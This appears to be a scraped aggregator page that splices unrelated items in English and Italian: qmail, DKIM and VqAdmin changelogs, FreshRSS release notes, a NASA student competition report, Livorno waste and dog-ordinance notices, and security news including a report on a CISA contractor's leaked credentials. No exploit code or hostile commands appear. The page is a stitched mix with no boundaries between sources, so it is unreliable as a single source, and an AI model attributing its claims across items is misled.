Ubuntu Core 26 could be a game-changer for organizations looking for increased security and reliability.

• Latest version 2026.04.07 (github)
• Changelog
• Readme

Changelog

• Apr 7, 2026
  - (security) Remote Code Execution via Shell Injection in qmail-remote TLS Error Handler in #42 (tx Diep Pham)
• Apr 2, 2026
  - qmail-remote auth improvements by pierluigi in #39
  - Fixed DKIM ed25519-sha256 signing and verification to conform to RFC8463 by @agerstla in #40
  - Updated qmail-qfilter to support filters defined in control/qfilters by @agerstla in #41
• Feb 25, 2026
  - Improved DKIM status handling by @agerstla in #35
  - Ported over DKIM_BAD_IDENTITY support from Indimail (tx Manvendra Bhangui and Andreas Gerstlauer 1299b55)
  - SNI support for qmail-smtpd by @agerstla in #37
  - Added qmail-qfilter by @agerstla in #38
• Feb 3, 2026
  - Bug fix for verifying multiple DKIM signatures (second one always failed due to a DNS lookup bug). tx Andreas Gerstlaurer #31
  - config-all.sh upgrade #33
  * config-all.sh: moreipme is now populated with IPs in separate lines
  * config-all.sh: rsa dh keys can be created even if the certificate creation is skipped
  * config-all requires to accept overwriting with y/N/a=all options
• Jan 8, 2026
  - bug fixed in helodnscheck: it allowed domains with only one dot #30
• Jan 5, 2026
  - helodnscheck.cpp: PCRE dependency avoided, to make happy Debian 13 d987ec4
  - config-all now grabs the correct network interface c60d3fa
  - config-all will now prompt for 1024/2048 key length for DKIM c842cea
  - Fixed typo in qmailctl 3f1ea75
  - Makefile: Fixed incorrect rule syntax for 'make cert' 80222cc
• Sep 8, 2025
  - Fixes in SPP handling and support for [pass] plugins after RCPT accept. Support for RBLRESULT environment variable and RBL ignore ('=') option. (tx Andreas Gerstlauer)
  - Added -std=gnu17 to conf-cc, fixed some other issues and now it compiles on gcc-15.2 in #28
  - scripts/qmail-pop3d and qmail/pop3sd: ports changed to 110 and 995
  - Received: email header now hides the sender's hostname when the sender is RELAYCLIENT or is authenticated. 785e84b
• Apr 30, 2025
qmailctl, qmHandle, queue_repair and all scripts installed in QMAIL/bin and not in /usr/local/bin by config-all.sh
• Apr 25, 2025
  - added a configuration script config-all, which configure and installs the control files (as per the original config-fast script), aliases, SRS (uses control/me as the srs_domain), log dirs in /var/log/qmail, tcprules (basic, just to make initial tests), supervise scripts, qmailctl script, DKIM control/filterargs and control/domainkeys dir, SURBL, smtpplugins, helodnscheck spp plugin, svtools, qmHandle, queue-repair, SSL key file (optional).
  Consider this feature as "testing"
• Feb 11, 2025
  - Several adjustments to get freeBSD and netBSD compatibility. More info in the commit history. Hints/comments are welcome.
  - freeBSD users have to erase the very 1st line of the file "conf-lib", as libresolv.so in not needed on freeBSD.
  - Dropped files install-big.c, idedit.c and BIN.* files.
  - Dropped files byte_diff.c, str_cpy.c, str_diff.c, str_diffn.c and str_len.c, which break compilation on clang and can be replaced by the functions shipped by the compiler (tx notqmail).
  - Old documentation moved to the "doc" dir. install.c and hier.c modified accordingly
  - conf-cc and conf-ld now have -L/usr/local/lib and -I/usr/local/include to look for srs2 library
  - conf-cc and conf-ld now have -L/usr/pkg/lib and -I/usr/pkg/include to satisfy netBSD
  - vpopmail-dir.sh: minor correction to vpopmail dir existence check
  - srs.c: #include <srs2.h> now without path

Server Name Indication (SNI) è una estensione del protocollo TLS che consente a un server di presentare differenti certificati a seconda dell'hostname richiesto dal client durante il saluto TLS.

In un ambiente email moderno, molti domini condividono uno stesso indirizzo IP per i servizi SMTP, IMAP, POP3 e submission. Senza SNI, un amministratore di un server email può presentare un solo certificato per ogni socket disponibile, cosa che obbliga l'aministratore ad affidarsi a certificati multi-dominio (SAN) o a certificati con wildcard. Questo approccio aumenta i problemi operativi tra gli utenti finali novelli, che spesso non sono in grado di usare la configurazione automatica del client per configurare correttamente le loro mailbox.

L'abilitazione di SNI nei serivizi mail consente al server di presentare il certificato appropriato basato sull'hostname richiesto dal client, contenuto nel suo indirizzo email.

La funzionalità SNI per la mia distribuzione qmail è stata aggiunta da Andreas Gerstlauer (commit qui e qui), che vorrei ringraziare.

• Info: http://www.clamav.net
• Versione usata: 1.5.2

Clam AntiVirus is an open source (GPL) anti-virus toolkit for UNIX, designed especially for e-mail scanning on mail gateways.

Changelog

• Mar 4, 2026
  - clamav upgraded to v 1.5.2
• Oct 11, 2025
  - clamav upgraded to v 1.5.0. A recent version of rust is needed (successfully using 1.88 here). Just reinstall as explained below. No particular change is needed in the config files.

• Autore originale: http://www.inter7.com/vqadmin-sysadmin-webcontrol/
• Versione 2.4.7
• Changelog
• Scarica da github
• La mia vecchia patch

VqAdmin è un pannello di controllo su interfaccia web che consente di eseguire azioni che richiedono l'accesso a root — per esempio, aggiungere e cancellare domini.

Come si può vedere, VqAdmin ha una nuova versione con un nuovo aspetto mobile responsive, con tutte le mie vecchie patch incluse (compresa quella di ALI) e diverse correzioni e ripuliture del codice sorgente. Ho risolto tutti i warnings sia di autotools che di gcc e cambiato un paio di cose per poter rifare il tema html (guardare il changelog per maggiori dettagli). Come sempre i contributi nei commenti sono graditi.

PS: anche la parte apache è stata modificata e prima di fare l'aggiornamento è necessario guardare quali modifiche sono necessarie.

Have fun!

Changelog

• Feb 18, 2026 (v. 2.4.7)
  - domain's users lists valiases too #4
  - bug fix in mod_domain.html: Mailing Lists domain limit was not copied correctly (ecce453)
• Jan 31, 2026
  - relaylimits added to control files 4c5a859
  - disabled maintainer mode to avoid autotools regeneration on user builds #3
• Jan 25, 2026
  - Domain's users listed alphabetically by domain and username #2 451da48
  - Dropped simsizelimit control file 868b8b2
• Dec 06, 2024
  - added a patch to highlight users with restrictions and with admin privileges (PR #1, thanks Bai Borko)
  - added control files notlshosts_auto and tlsserverciphers

Questa pagina riguarda la patch DKIM inclusa nella mia patch combinata (maggiori informazioni qui). Questo argomento è avanzato ed è consigliabile tornare qui alla fine del tutto.

• Info: http://www.dkim.org/ - http://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
• Autore della patch: Manvendra Bhangui
• Versione della patch: 1.48
• Scarica: SourceForge - copia locale
• Changelog
• Mirko Buffoni ha pubblicato in un commento una piccola modifica che consente di firmare i messaggi inviati dagli utenti autenticati e di verificare quelli degli utenti non autenticati.

DKIM fornisce un metodo per validare l'identità di un nome a dominio associato a un messaggio con una autenticazione crittografata. La tecnica di validazione è basata sulla crittografia di una chiave pubblica: Il server che invia l'email aggiunge il nome a dominio al messaggio e vi affigge una firma digitale. Questa chiave è posta nell'intestazione DKIM-Signature: del messaggio. Colui che riceve il messaggio può controllare la validità della chiave pubblica leggendo un record TXT del DNS del dominio associato al messaggio.

Sei invitato a dare un'occhiata alle pagine man a partire da qmail-dkim(8) e spawn-filter(8).

Changelog

• Jan 29, 2026
  - Bug fix for verifying multiple DKIM signatures (second one always failed due to a DNS lookup bug). tx Andreas Gerstlauer
• Jul 10, 2025
  added ERROR_FD=2 in control/filterargs to send error output of qmail-dkim in stderr when acting as a qmail-remote filter (Andreas Gerstlauer)
• Feb 12, 2024
  - v. 1.48: fixed minor bug using filterargs for local deliveries (commit)
• Feb 6, 2024
  -DKIM patch upgraded to v. 1.47
  * fixed a bug which was preventing filterargs' wildcards to work properly on sender domain
• Jan 11, 2024
  - version 1.46
  * dk-filter.sh has been dropped. If signing at qmail-remote level, before upgrading, you have to review the configuration as explained below.
  * The variables USE_FROM, USE_SENDER and DKIMDOMAIN have been dropped
  * when signing at qmail-remote level qmail-dkim now has to be called directly by spawn-filter in the rc file. man spawn-filter for more info
  * In case of bounces the signature will be automatically based on the from: field. This will solve issues of DMARC reject by google in case of sieve/vacation bounces.
  * In case of ordinary bounces (mailbox not found, for instance) the bounce domain will be taken from control/bouncehost and, if doesn't exist, from control/me
• Jan 4, 2024
  - patch upgraded to v. 1.44
  * fixed an issue with filterargs where spawn-filter is trying to execute remote:env xxxxx.... dk-filter. This issue happens when FILTERARGS environment variable is not defined in the qmail-send rc script.
  * dkim.c fix: https://notes.sagredo.eu/en/qmail-notes-185/configuring-dkim-for-qmail-92.html#comment3668 
  * adjustments fo dk-filter and dknewkey man pages
• Nov 20, 2023
  * The patch now by default excludes X-Arc-Authentication-Results
  * dkim can additionally use the environment variable EXCLUDE_DKIMSIGN to include colon separated list of headers to be excluded from signing (just like qmail-dkim). If -X option is used with dk-filter, it overrides the value of EXCLUDE_DKIMSIGN.
• Feb 19, 2023 (v. 1.37 upgrade)
  - ed25519 support​ (RFC 8463)
  - multiple signatures/selectors via the enhanced control/dkimkeys or DKIMSIGN / DKIMSIGNEXTRA / DKIMSIGNOPTIONS  DKIMSIGNOPTIONSEXTRA variables
  - domainkey script replaced by dknewkey in order to create ed25519 keys and rsa keys with 1024/2048/4096 bit
  - dropped yahoo's domainkeys support (no longer need the libdomainkeys.a library)
  - man pages revised and enhanced
  - domainkeys directory moved to /var/qmail/control/domainkeys
  - the documentation in this page has been revised. You can find how to sign with the rsa key together with the ed25519 key below.

qmail-spp provides plug-in support for qmail-smtpd. It allows you to write external programs and use them to check SMTP command argument validity. The plug-in can trigger several actions, like denying a command with an error message, logging data, adding a header and much more.

• Author: Pawel Foremski
• More info here

Today I played for the first time with an ancient patch for qmail: qmail-spp. I was really impressed for the ease of use and the elegance of its code, which is inserted inside qmail-smtpd.c with a few touches, despite of the many things that it can do when installed and enabled.

It can run a custom plugin in any language and at any level of the smtp session, grabbing the environment variables, writing into stderr or blocking the smtp session with a return error for the sender.

In no time at all I managed to understand its logic and write a small plugin by adapting a c program I wrote for s/qmail a few months ago to check the validity of the recipient.

Of course I decided to add this patch to my combo. I've just modified the way it has to be enabled, just not to bother those who don't want to touch their run scripts. So, while the original patch is enabled by default, I modified things a little bit so that you have to manually enable it by exporting the variable ENABLE_SPP in your run scripts. Therefore the original NOSPP variable is useless.

Have fun!

• Scarica lo script

Ora che abbiamo preparato i filtri antispam dobbiamo addestrare il nostro sistema bayesiano e inviare i report a Razor, Pyzor e Spamcop.

La cosa più ovvia che può venirci in mente di fare a questo punto è forse quella di lanciare sa_learn e spamassassin --report uno dopo l'altro al click sul bottone "Marca come Spam" della webmail Roundcube (vedere i driver cmd_learn e multi_driver del plugin markasjunk), ma questa scelta ha alcuni svantaggi importanti:

• il processo di addestramento, la conseguente sincronizzazione del journal e la connessione ai vari network per il reporting può richiedere anche una decina di secondi, un tempo che i nostri utenti non sono disposti ad attendere.
• cosa anche più grave, quando essi cliccano sul bottone "Marca come Spam" non è sempre detto che si tratti di un vero messaggo di posta indesiderata. Prendiamo ad esempio il classico caso delle newsletter a cui si sono regolarmente iscritti e che non vogliono più leggere, e che decidono di eliminare etichettandole come spamming anzichè inoltrare una regolare richiesta di cancellazione.

E' qundi più corretto eseguire questi due compiti durante la notte per mezzo di un cronjob (primo problema risolto), processando i soli messaggi di vero spam/ham che l'utente ha consapevolmente copiato in una cartella apposita (secondo problema).

Tired of the nightmares of remotely compiling the kernel with Linux-VServer, a software that I'm pleased with despite of some lack of documentation, these days I was playing with LXC, which is included and supported by Slackware and for which the Linux kernel doesn't need any patching because it already embeds the hacks for LXC containers.

To convert an existing Linux-VServer container in a (eventually unprivileged) LXC container you can follow these steps. I assume that you already know  how to create an LXC container; in case you are interested in unprivileged containers take a look to the excellent Chris Willing's guide (a big thanks to him) linked below.

More info:

• LXC
• Installing Linux-VServer on Slackware

Era ora che riuscissi a liberarmi della vecchia piattaforma Drupal come strumento per questo blog, ma finalmente ho trovato il tempo per migrare il database di Drupal e per riprendere qui la vecchia grafica (solo lo stile, il codice html è mio).

D'altronde, da almeno 15 anni porto avanti lo sviluppo di un mio CMS (basato su php/mariadb), che però originariamente non avevo usato per la mancanza del tempo necessario a costruirmi un tema html.

Ora il sito vive in ambiente Mobile Responsive e soprattutto mi consente di svincolarmi dagli incubi degli aggiormanti di Drupal e dei suoi pacchetti.

La parte sui commenti del presente CMS non è perfettamente collaudata e mi farebbe piacere avere eventualmente dei feedback su ogni problematica, quindi non esitate a scrivermi al riguardo.

Buon divertimento!

Massive Christmas present by my italian friend Luca Franceschini of digitalmind. He merged his combo with my combined patch (2016.12.02 version) adding several (heavily customized) patches and functionalities. Luca is a C programmer and an expert system administrator who manages big servers.

A South Dakota State University team took first place at NASA’s fifth annual Gateways to Blue Skies Competition, which challenged student teams to address a critical element of U.S. aviation: aircraft maintenance.

This year’s competition, RepAir: Advancing Aircraft Maintenance, asked teams of postsecondary students to develop innovative systems and practices that could advance commercial aircraft maintenance and repair operations by 2035. The competition, sponsored by NASA’s University Innovation project within the agency’s Aeronautics Research Mission Directorate, supported the agency’s objectives of fostering innovative research and strengthening the future aviation workforce.

“This year’s finalists proposed novel ideas to equip companies and their workers with innovative technologies to help keep our nation’s planes airworthy. This is especially critical in a time where flight safety is more commonly in the spotlight and where workforce shortages lead to challenges and opportunities in aviation,” said Steven Holz, associate project manager for NASA’s University Innovation Project and judging panel chair for Gateways to Blue Skies. “Our panel of industry and subject matter experts were excited about the possibilities these concepts could bring, as well as shared insights needed for these teams to push forward for real-world implementation.”

The winning project, WINGMAN, proposed augmented reality safety glasses equipped with voice-controlled manuals, automatic documentation, and photo recognition that could assist aircraft mechanics during routine daily servicing and minor repairs. The glasses would function as the mechanic’s “wingman,” enabling hands-free access to the information and reporting mechanisms required for line inspections.

The WINGMAN team presented their research along with seven finalists at the 2026 Gateways to Blue Skies Forum held May 18 and 19 at NASA’s Langley Research Center in Hampton, Virginia. The forum was judged by subject matter experts from NASA, the Federal Aviation Administration, and industry, including representatives from Southwest Airlines and American Airlines. Students at the forum had the opportunity to network with NASA and industry experts, tour the center, and gain insight into potential careers. The event was livestreamed, and the presentations were recorded.

The winning team members will have the opportunity to intern at one of NASA’s four aeronautics research centers during the 2026-27 academic year, including NASA Langley, NASA’s Glenn Research Center in Cleveland, NASA’s Ames Research Center in California’s Silicon Valley, and NASA’s Armstrong Flight Research Center in Edwards, California. 

“It was super exciting to participate in Gateways to Blue Skies, especially with the really interesting concepts this year,” said Owen Diede, WINGMAN team lead. “We couldn’t have done it without the feedback and support from our faculty advisor, Dr. Todd Letcher, as well as our design review committee, Dr. Ruyi Lian and Dr. Cody Christensen. This was a fantastic opportunity to learn and grow, and we are incredibly thankful for the experience.”

Other recognitions included:

• Best Infographic: University of California, Irvine
  Air Shield: Aircraft Structural Health Intelligence for Evaluation and Lifecycle Detection
• Future Game-Changer: University of Georgia
  Quasar: Quantum Sensing Aerial Reporting
• Safety Spotlight: South Dakota State University
  SPIDER (Surveying Platform and Inspection Device for Enclosed Regions)

The commercial aviation industry is a crucial component of the U.S. economy, yet it faces significant challenges due to a shortage of qualified maintenance workers and increasing demands to keep aircraft running for longer. NASA is dedicated to working with commercial, academic, and government partners to advance the capabilities and performance of U.S. aviation.

The Gateways to Blue Skies Challenge is part of the Transformative Aeronautics Concepts Program in NASA’s Aeronautics Research Mission Directorate. The NASA Tournament Lab, part of the Prizes, Challenges, and Crowdsourcing Program in the Space Technology Mission Directorate, manages the challenge through the National Institute of Aerospace on behalf of NASA.

For more information about NASA’s Aeronautics Research Mission Directorate, visit:

https://www.nasa.gov/aeronautics

AI is giving Linus Torvalds a headache, but not in the way you might think.

Nonostante Internet Explorer sia ormai ufficialmente morto da tempo, uno dei suoi componenti storici continua a rappresentare un serio problema di sicurezza per gli ambienti Windows moderni. Si tratta di MSHTA.exe, il Microsoft HTML Application Host, una utility legacy ancora inclusa di default nel sistema operativo e oggi sempre più sfruttata dai cybercriminali per distribuire […]

L'articolo MSHTA, lo “zombie” di IE che alimenta attacchi su Windows proviene da Securityinfo.it.

• Milestone

This is bug-fix release for 1.29.0.

Feature highlights✨:

• Accept .txt import of feed URLs in additional to e.g. OPML
• New CLI for automatic periodic SQLite export with retention
• More feed info: last received date, publication date

Bug fixes highlights 🐛:

• Fix cookies with some browsers
• Fix search in shared user queries with empty results

UI highlights 🖼:

• Improve Web browsers compatibility

This release has been made by @Alkarex, @Frenzie, @IEEE-754, @Inverle, @McFev, @ciro-mota, @cweiske, @polybjorn and newcomer @mzl2233

Full changelog:

• Features
  • Accept .txt import of feed URLs in additional to e.g. OPML #8818, #8837
  • New CLI for automatic periodic SQLite export with retention #8819
  • More feed info: last received date, publication date #8799
• Bug fixing
  • Fix cookies with some browsers #8867
  • Fix search in shared user queries with empty results #8863
  • Fix XML errors with loading invalid OPML in lib_opml library #8652, #8853,
    lib_opml#48, lib_opml#51
  • Fix ensure maximum number of feeds also with Dynamic OPML #8832
  • Fix click mark as read #8817
• UI
  • Improve browser compatibility to keep mobile navigation at the bottom #8833
  • Improve support of older/simpler Web browsers/engines such as SeaMonkey #8810,
    #8811, #8813,
  • Improve Swage theme #8842
  • Rename Nord theme to Nord #8805
  • Replace GIF spinner by CSS spinner #8804, #8812
  • Various UI and style improvements: #8800, #8816,
• I18n
  • Improve Brazilian Portuguese #8846
  • Improve Dutch #8868
  • Improve German #8840
  • Improve Polish #8854
  • Improve Russian #8861
  • Improve Traditional Chinese #8849
• Misc.
  • Update dev dependencies #8858, #8864

Un attacco informatico basato su una vulnerabilità sconosciuta nei router enterprise di Huawei avrebbe causato nel 2025 uno dei più gravi incidenti infrastrutturali europei degli ultimi anni, provocando il collasso temporaneo dell’intera rete telecom del Lussemburgo. Secondo quanto riportato da Recorded Future News, l’incidente avrebbe coinvolto un comportamento non documentato del sistema operativo di rete […]

L'articolo Attacco ai router Huawei dietro blackout telecom del Lussemburgo proviene da Securityinfo.it.

Files by age, newest first:

ls -lt

Docker images by age, newest first:

docker images --format "{{.CreatedAt}}\t{{.Repository}}:{{.Tag}}" | sort -r

Files by size, largest first:

ls -lS

Docker images by size, largest first:

docker images --format "{{.Size}}\t{{.Repository}}:{{.Tag}}" | sort -rh

Why why why??!

Prevista solo una modifica nell’area Livorno Est

AAMPS conferma che in occasione della festività di venerdì 22 maggio prossimo il servizio di raccolta dei rifiuti si svolgerà regolarmente. È previsto solo un cambiamento negli itinerari di interesse per gli abitanti dell’area Livorno Est.

Ecco il dettaglio suddiviso per Aree valido per la raccolta nel giorno di Santa Giulia:

Area Livorno Nord
Il calendario ordinario non prevede il servizio di raccolta il venerdì.

Area Sant’Jacopo Marradi
Carta-cartone: servizio attivo la mattina (esposizione del materiale dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).

Area Vittoria Stazione Zola
Indifferenziato: servizio attivo la mattina (esposizione del materiale dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).

Area Livorno est
Organico: servizio anticipato alla mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).

Area Picchianti – Porta a Terra
Il calendario ordinario non prevede il servizio di raccolta il venerdì.

Area Ardenza – La Rosa
Organico: servizio attivo la mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).

Livorno Sud
Multimateriale: servizio attivo la mattina (esposizione del materiale dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).

Area Pentagono
Carta-cartone: servizio attivo la sera (esposizione del materiale dalle ore 19.30 alle 20.00).

Tutti i contenitori stradali presenti nelle aree “Pentagono” e “Centro Allargato” saranno regolarmente vuotati.

Il Centro di raccolta “Livorno Sud” e il “Centro del riuso creativo” saranno chiusi venerdì e riapriranno il giorno seguente.

Ringraziamo i cittadini per la consueta collaborazione. Per ulteriori informazioni: 800-031.266, info@aamps.livorno.it, facebook/instagram/APP (“AAMPS Livorno”).

L'articolo Raccolta rifiuti: servizi attivi nella festività del 22 maggio proviene da Aamps Livorno.

L'articolo Il labirinto della verifica dell’età proviene da Guerre di Rete.

Lunedì 18 lo sciopero delle lavoratrici e dei lavoratori degli asili nido ha registrato un’adesione altissima, portando alla chiusura di numerosi nidi e dimostrando con forza quanto fossero reali le criticità denunciate sul nuovo bando.
La mobilitazione e la pressione esercitata in questi giorni hanno prodotto oggi, nell’incontro in Comune a Pisa, un primo risultato concreto: è stata formalizzata un’integrazione al bando che chiarisce finalmente il monte ore del servizio. Si passa ufficialmente da 241 ore + 8% a 260 ore + 8% di lavoro non frontale, riconoscendo una parte essenziale del lavoro educativo troppo spesso invisibilizzata e lasciata nell’incertezza.
Un primo risultato importante, conquistato grazie alla lotta collettiva di lavoratrici e lavoratori. Ma la mobilitazione non finisce qui: continueremo a lottare per risolvere le criticità ancora presenti nel lavoro pubblico esternalizzato e per garantire diritti, dignità del lavoro e qualità dei servizi pubblici.

Unione Sindacale di Base Federazione di Pisa

Professional fulfillment tops the list, according to LPI report.

Comunicato a cura dell’uff. Stampa del Comune di Livorno.

Livorno, 19 maggio 2026 – Da domani, mercoledì 20 maggio, sarà in vigore a Livorno l’ordinanza che obbliga i proprietari e i detentori di cani a rimuovere con acqua le deiezioni  liquide degli animali nelle aree pubbliche e di uso pubblico.

L’ordinanza, della quale ha parlato la stampa italiana e straniera, avrà una durata di cinque mesi e terminerà il 31 ottobre in vista poi di introdurre questo provvedimento all’interno di regolamento comunale che estenderà l’obbligo a tutto l’anno.
In pratica sarà obbligo munirsi di appositi contenitori d’acqua da utilizzare per l’immediata rimozione delle deiezioni liquide depositate su superfici pavimentate e su altri spazi di arredo urbano, e sui mezzi di locomozione (ad esempio ruote di macchine o di scooter) parcheggiati sulla pubblica via.

È inoltre fatto assoluto divieto di consentire ai cani di urinare a ridosso di portoni e vetrine ed accessi ad abitazioni, uffici e negozi.
Lo ha stabilito appunto l’Amministrazione comunale con l’ordinanza sindacale n. 135 del 28 aprile 2026, emanata a seguito delle numerose segnalazioni pervenute da parte di cittadini che evidenziano il disagio determinato dalle maleodoranze e gli inconvenienti igienico-sanitari derivanti dalla presenza di deiezioni liquide animali sugli spazi destinati alla socializzazione di adulti e bambini, visto anche il notevole e crescente numero di animali d’affezione, in particolare cani, presenti sul territorio comunale.
Il provvedimento è stato al centro di una conferenza stampa alla quale hanno partecipato: la vicesindaca con delega alla Tutela Animali Libera Camici, l’assessora con Delega al Decoro Urbano Giovanna Cepparello, la garante degli animali Elisa Amato, la dirigente del Settore Manutenzioni e Cura della Città Silvia Borgo, la dirigente settore Istruzione, Giovani, Partecipazione e Tutela Animale Michela Casarosa,  la responsabile dei Servizi Territoriali della Polizia Municipale Michela Pedini, la funzionaria Barbara Saliva, il responsabile del Decoro Urbano di Aamps/Retiambiente Andrea Valenti, la guardia zoofila dell’Oipa Giuliano Morelli.

Per quanto riguarda le deiezioni solide, gli articoli 31 e 32 del vigente Regolamento Comunale sulla Tutela degli Animali (la cui ultima modifica risale al 2018) prescrivono l’obbligo di rimuoverle immediatamente a chi accompagna i cani nelle zone pedonali e nelle aree verdi, comprese quelle di libera circolazione dei cani, nei giardini e nei parchi, negli esercizi pubblici, commerciali e nei locali ed uffici aperti al pubblico, utilizzando mezzi idonei alla rimozione, da mostrare su richiesta del Pubblico Ufficiale, a pena di sanzione secondo quanto previsto dall’art. 42 dello stesso Regolamento.
Il Regolamento attuale non prevede però analoga norma per quanto attiene alle deiezioni liquide.
Nelle more di una modifica alla regolamentazione comunale vigente, l’ordinanza 135/2026 adotta misure atte a prevenire e contenere tali fenomeni, per tutto il periodo più critico dal punto di vista climatico. Il significativo aumento delle temperature che si verifica in primavera-estate, associato a una diminuzione delle precipitazioni, incide infatti anche sulla salubrità e sul decoro degli spazi urbani, anche in conseguenza della maggiore evaporazione di liquidi organici dalle superfici pavimentate.
Nello specifico, il testo integrale dell’ordinanza n. 135 impone, dal 20 maggio al 31 ottobre, a tutti i possessori o detentori a qualsiasi titolo di cani, anche se incaricati temporaneamente della loro custodia o conduzione:
• di munirsi, durante l’accompagnamento dei cani, di apposite bottigliette, spruzzatori o altri contenitori d’acqua, senza aggiunta di sostanze chimiche o detergenti, da versare all’occorrenza;
• di riversare una congrua quantità di acqua in corrispondenza del punto interessato dalle deiezioni liquide dei cani ai fini della loro diluizione e della ripulitura delle superfici interessate, su tutte le aree urbane pubbliche o ad uso pubblico e relativi manufatti e sulle aree private che si affacciano su aree pubbliche o ad uso pubblico, nonché sui mezzi di locomozione parcheggiati sulla pubblica via;
• è fatto divieto assoluto di consentire ai cani di urinare a ridosso dei portoni di ingresso e degli accessi ad abitazioni, uffici e negozi e vetrine.
L’inosservanza di queste disposizioni comporta l’applicazione di una sanzione amministrativa pecuniaria da 25 a 500 euro, ai sensi dell’art. 7-bis del D. Lgs. 267/2000.
Rimane comunque a carico del trasgressore il ripristino dei luoghi.

Gli interventi

La Vicesindaca ha introdotto l’ordinanza sottolineando la sua grande risonanza mediatica, anche a livello internazionale.
“Lo scopo principale non è punitivo, ma mira a elevare lo standard di igiene e decoro delle strade, dei marciapiedi e degli arredi urbani. Livorno conta circa 20.000 cani, un numero consistente che richiede responsabilità da parte dei proprietari per garantire una convivenza civile. La mancanza di rispetto delle regole da parte di una minoranza danneggia il lavoro degli operatori, dei proprietari responsabili e limita la fruibilità degli spazi pubblici, come i parchi, specialmente per i bambini”.
La Vicesindaca ha inoltre ricordato che l’Amministrazione ha rimosso i divieti di accesso ai cani in molti parchi per favorire le famiglie, ma avverte che, “se le segnalazioni di sporcizia e cani senza guinzaglio continueranno, potrebbero essere reintrodotte limitazioni”.
Ha inoltre ricordato il protocollo d’intesa con le guardie zoofile dell’OIPA, che hanno il potere di elevare sanzioni insieme alla Polizia Locale.

L’Assessora  Cepparello ha parlato degli aspetti pratici e sociali del provvedimento sottolineando come l’ordinanza nasca anche per tutelare le persone con disabilità motoria, che spesso sporcano i propri ausili (sedie a rotelle) sui marciapiedi non puliti, portando poi lo sporco in casa. “I proprietari dei cani devono munirsi di bottigliette o spruzzatori con semplice acqua (senza sapone) da usare sui punti interessati dalle deiezioni liquide”. Ha ricordato il divieto assoluto di far urinare i cani ridosso di portoni, accessi ad abitazioni. “Si è optato per un’ordinanza, per agire tempestivamente prima dell’estate, quando il calore accentua i cattivi odori. L’ordinanza prevede una scadenza, ma recepiremo questo provvedimento all’interno di un regolamento in modo che l’obbligo delle bottigliette diventi permanente in tutte le stagioni e i mesi dell’anno. Il Comune non può lavare quotidianamente centinaia di chilometri di strade e  la collaborazione dei cittadini è strategica”.

La Garante degli Animali ha posto l’accento sulla salute pubblica e sulla sicurezza nei parchi. Ha evidenziato che le deiezioni non raccolte contengono batteri e parassiti pericolosi per gli animali e soprattutto per i bambini che giocano nei prati. Ha citato situazioni di particolare degrado riscontrate nella zona di San Jacopo e vicino alla Baracchina Bianca, “dove i muri sono sporchi e i marciapiedi pieni di deiezioni solide”. Ha richiamato l’obbligo del guinzaglio nei luoghi pubblici, denunciando episodi di maleducazione subiti quando ha cercato di far rispettare questa norma. Infine ha esortato i cittadini a un maggiore rispetto per l’ambiente e per la città, sottolineando che il decoro urbano è un dovere di ogni proprietario.

Andrea Valenti, responsabile Decoro Urbano AAMPS/Retiambiente ha affermato: “Aamps si muove su due versanti: pulizia e sensibilizzazione al cittadino. In entrambi i casi abbiamo favorito un potenziamento dei servizi, pertanto forniamo un contributo determinante alla cura della città anche per contrastare il fenomeno dell’abbandono delle deiezioni canine. Siamo anche prossimi all’acquisto di 100 contenitori dedicati che avranno una bocca di ingresso dei sacchini molto piccola e, pertanto, non potranno essere utilizzati impropriamente per l’inserimento di sacchi invece destinati alla raccolta dei rifiuti. Nel mese di giugno provvederemo all’installazione presso le aree di sgambatura dei cani, i parchi pubblici e nelle zone che, dalle segnalazioni pervenute, risultano più soggetto a questa tipologia di abbandono”.

L'articolo Deiezioni liquide: da domani obbligo di rimuoverle proviene da Aamps Livorno.

Until this past weekend, a contractor for the Cybersecurity & Infrastructure Security Agency (CISA) maintained a public GitHub repository that exposed credentials to several highly privileged AWS GovCloud accounts and a large number of internal CISA systems. Security experts said the public archive included files detailing how CISA builds, tests and deploys software internally, and that it represents one of the most egregious government data leaks in recent history.

On May 15, KrebsOnSecurity heard from Guillaume Valadon, a researcher with the security firm GitGuardian. Valadon’s company constantly scans public code repositories at GitHub and elsewhere for exposed secrets, automatically alerting the offending accounts of any apparent sensitive data exposures. Valadon said he reached out because the owner in this case wasn’t responding and the information exposed was highly sensitive.

A redacted screenshot of the now-defunct “Private CISA” repository maintained by a CISA contractor.

The GitHub repository that Valadon flagged was named “Private-CISA,” and it harbored a vast number of internal CISA/DHS credentials and files, including cloud keys, tokens, plaintext passwords, logs and other sensitive CISA assets.

Valadon said the exposed CISA credentials represent a textbook example of poor security hygiene, noting that the commit logs in the offending GitHub account show that the CISA administrator disabled the default setting in GitHub that blocks users from publishing SSH keys or other secrets in public code repositories.

“Passwords stored in plain text in a csv, backups in git, explicit commands to disable GitHub secrets detection feature,” Valadon wrote in an email. “I honestly believed that it was all fake before analyzing the content deeper. This is indeed the worst leak that I’ve witnessed in my career. It is obviously an individual’s mistake, but I believe that it might reveal internal practices.”

One of the exposed files, titled “importantAWStokens,” included the administrative credentials to three Amazon AWS GovCloud servers. Another file exposed in their public GitHub repository — “AWS-Workspace-Firefox-Passwords.csv” — listed plaintext usernames and passwords for dozens of internal CISA systems. According to Caturegli, those systems included one called “LZ-DSO,” which appears short for “Landing Zone DevSecOps,” the agency’s secure code development environment.

Philippe Caturegli, founder of the security consultancy Seralys, said he tested the AWS keys only to see whether they were still valid and to determine which internal systems the exposed accounts could access. Caturegli said the GitHub account that exposed the CISA secrets exhibits a pattern consistent with an individual operator using the repository as a working scratchpad or synchronization mechanism rather than a curated project repository.

“The use of both a CISA-associated email address and a personal email address suggests the repository may have been used across differently configured environments,” Caturegli observed. “The available Git metadata alone does not prove which endpoint or device was used.”

The Private CISA GitHub repo exposed dozens of plaintext credentials for important CISA GovCloud resources.

Caturegli said he validated that the exposed credentials could authenticate to three AWS GovCloud accounts at a high privilege level. He said the archive also includes plain text credentials to CISA’s internal “artifactory” — essentially a repository of all the code packages they are using to build software — and that this would represent a juicy target for malicious attackers looking for ways to maintain a persistent foothold in CISA systems.

